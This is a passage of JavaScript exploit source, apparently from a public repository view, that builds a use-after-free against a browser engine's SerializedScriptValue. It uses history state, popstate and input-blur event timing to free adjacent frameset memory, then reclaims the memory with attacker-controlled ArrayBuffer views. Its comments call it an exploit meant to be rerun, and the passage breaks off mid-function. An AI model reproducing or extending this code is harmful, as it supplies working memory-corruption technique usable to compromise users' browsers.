(fsets, index, save_pop = false)
| 189 | // called. History will cache the SSV at its m_lastStateObjectRequested if you |
| 190 | // do. that field is a RefPtr, thus preventing a UaF if we cache "state1" |
| 191 | async function uaf_ssv(fsets, index, save_pop = false) { |
| 192 | const views = []; |
| 193 | const input = document.createElement('input'); |
| 194 | input.style.position = 'absolute'; |
| 195 | input.style.top = '-100px'; |
| 196 | const foo = document.createElement('a'); |
| 197 | foo.id = 'foo'; |
| 198 | foo.style.position = 'absolute'; |
| 199 | foo.style.top = '-100px'; |
| 200 | |
| 201 | // debug_log(`ssv_len: ${hex(ssv_len)}`); |
| 202 | |
| 203 | let pop = null; |
| 204 | let num_blurs = 0; |
| 205 | const pop_promise = new Promise((resolve, reject) => { |
| 206 | function onpopstate(event) { |
| 207 | // debug_log('pop came'); |
| 208 | if (num_blurs === 0) { |
| 209 | const r = reject; |
| 210 | r(new DieError(`pop came before blur. blurs: ${num_blurs}`)); |
| 211 | } |
| 212 | pop = event; |
| 213 | resolve(); |
| 214 | } |
| 215 | addEventListener('popstate', onpopstate, { once: true }); |
| 216 | }); |
| 217 | |
| 218 | function onblur() { |
| 219 | // debug_log('blur came'); |
| 220 | if (num_blurs > 0) { |
| 221 | die(`multiple blurs. blurs: ${num_blurs}`); |
| 222 | } |
| 223 | |
| 224 | // we replace the URL with the original so the user can rerun the |
| 225 | // exploit via a reload. If we don't, the exploit will append another |
| 226 | // "#foo" to the URL and the input element will not be blurred because |
| 227 | // the foo element won't be scrolled to during history.back() |
| 228 | history.replaceState('state3', '', original_loc); |
| 229 | |
| 230 | // free the SerializedScriptValue's neighbors and thus free the |
| 231 | // SmallLine where it resides |
| 232 | for (let i = index - num_adjs / 2; i < index + num_adjs / 2; i++) { |
| 233 | fsets[i].rows = ''; |
| 234 | fsets[i].cols = ''; |
| 235 | } |
| 236 | |
| 237 | for (let i = 0; i < num_reuses; i++) { |
| 238 | const view = new Uint8Array(new ArrayBuffer(ssv_len)); |
| 239 | view[0] = 0x41; |
| 240 | views.push(view); |
| 241 | } |
| 242 | |
| 243 | num_blurs++; |
| 244 | } |
| 245 | input.addEventListener('blur', onblur); |
| 246 | |
| 247 | document.body.append(input); |
| 248 | document.body.append(foo); |
no test coverage detected